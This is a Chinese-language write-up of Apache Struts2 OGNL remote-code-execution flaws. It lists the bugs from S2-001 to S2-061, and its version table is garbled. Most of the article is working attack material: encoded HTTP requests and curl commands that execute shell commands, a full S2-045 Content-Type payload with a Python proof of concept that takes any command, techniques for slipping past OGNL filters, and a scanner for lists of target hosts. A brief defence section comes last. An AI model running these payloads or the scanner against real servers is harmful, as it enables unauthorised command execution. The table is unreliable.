Struts2 经典漏洞链
1. OGNL:Struts2 的"原罪"
OGNL 可访问任意 Java 静态方法、通过 ClassLoader 加载类、调用任意对象方法。早期 Struts2 框架对 OGNL 白名单过滤频繁被绕过,几乎每年一个高危 RCE。
2. 时间线与关键漏洞
| 编号 | 影响版本 | 触发点 |
| S2-001 | Struts 2.0.0 | 参数 # 号前缀未过滤 |
| S2-016 | 2.0.02.3.15 | sort 参数二次求值 |2.3.24 | devMode + 通配符 |
| S2-032 | 2.0.0
| S2-037 | 2.3.202.3.28 | REST 插件 JSON 解析 |2.5.10.1 | Content-Type 头 OGNL |
| S2-045 | 2.0.0
| S2-046 | 同上 | Content-Disposition |
| S2-057 | 2.0.02.5.20 | namespace OGNL |2.5.25 | %{} 包裹任意参数 |
| S2-061 | 2.0.0
3. 核心漏洞详解
3.1 S2-016:sort 参数二次求值
SortingIterator 对 sort 参数做了两次 OGNL 求值:
GET /list.action?sort=id&order=asc&n=/%24%7B7%2A7%7D/%257B%257B7%2A7%257D%257D HTTP/1.1
Host: victim.example.com
Accept: \49
返回 49 即存在。RCE:
curl 'http://victim.example.com/struts2-showcase/person/edit.action?person.name=%25%7B7*7%257D'
# 核心利用:
curl 'http://victim.example.com/x.action?redirect:query=%25%7B%23a%3D%40java.lang.Runtime%40getRuntime().exec("id").getInputStream()%2C%23b%3Dnew+java.io.InputStreamReader(%23a)%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3Dnew+char%5B512%5D%2C%23c.read(%23d)%2C%23out%3Dnew+java.lang.String(%23d)%2C%23out%7D'
3.2 S2-032:devMode 控制台
devMode 默认开放调试界面:
curl 'http://victim.example.com/index.action?debug=command&command=id'
curl 'http://victim.example.com/struts/webconsole.html?debug=Console'
3.3 S2-045:Content-Type 头注入
fileupload 组件解析 multipart 时会 OGNL 求值 Content-Type 中的非法字符,绕过 body 过滤 WAF。
POST /index.action HTTP/1.1
Host: victim.example.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 3
xxx
Python 完整 PoC:
import requests, sys, urllib3
urllib3.disable_warnings()
PAYLOAD = (
"%{"
"(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='" + (sys.argv[2] if len(sys.argv)>2 else "id") + "')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true)).(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())"
"}"
)
def exploit(url):
r = requests.post(url.rstrip("/") + "/index.action", data="xxx",
headers={"Content-Type": PAYLOAD}, verify=False, timeout=10)
print(r.text[:3000])
exploit(sys.argv[1])
3.4 S2-057:namespace OGNL
GET /%24%7B1%2B1%7D/index.action HTTP/1.1
Host: victim.example.com
若重定向到 /2/index.action 则存在。RCE 升级版:
GET /%25%7B%2523a%3D%2540java.lang.Runtime%2540getRuntime().exec(%2527id%2527)%257D/index.action HTTP/1.1
3.5 S2-061:任意参数 %{} 包裹
curl "http://victim.example.com/index.action?redirect:%25%7B%25%23a%3D%2540java.lang.Runtime%2540getRuntime().exec(%2527id%2527)%257D"
4. OGNL 绕过演进
- # 过滤绕过: # → %23 → \u0023 → {\u0023}
- Runtime 关键字绕过: 通过反射加载 Class.forName('java.lang.Runtime')
- 静态方法绕过: #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 重新设置 memberAccess
5. 一键批量检测
import requests, urllib3
urllib3.disable_warnings()
def check(url):
# S2-045
try:
r = requests.post(url.rstrip("/") + "/index.action", data="x",
headers={"Content-Type": "%{7*7}"}, timeout=5, verify=False)
if "49" in r.text: print(f"[!] {url} 存在 S2-045")
except: pass
# S2-057
try:
r = requests.get(url.rstrip("/") + "/%24%7B7*7%7D/", allow_redirects=False, timeout=5, verify=False)
if "49" in r.headers.get("Location",""): print(f"[!] {url} 存在 S2-057")
except: pass
# S2-061
try:
r = requests.get(url.rstrip("/") + "/index.action?redirect:%25%7B7*7%257D",
allow_redirects=False, timeout=5, verify=False)
if "49" in r.headers.get("Location",""): print(f"[!] {url} 存在 S2-061")
except: pass
for u in open("targets.txt"): check(u.strip())
6. 防御
- 升级到 Struts 2.5.33+,新项目弃用;
- 关闭 devMode: struts.devMode = false;
- struts.xml 中配置 OGNL 白名单:
<constant name="struts.excluded.package.names" value="java.lang.reflect, ognl, com.opensymphony, freemarker"/> <constant name="struts.excluded.classes" value="java.lang.Runtime, java.lang.ProcessBuilder, ognl.Ognl"/> - WAF 拦截 %{、#、@ 组合;
- CI 中加入 OWASP Dependency-Check。
OGNL 白名单怎么都写不对——让表达式引擎直接解析用户输入是一条不归路。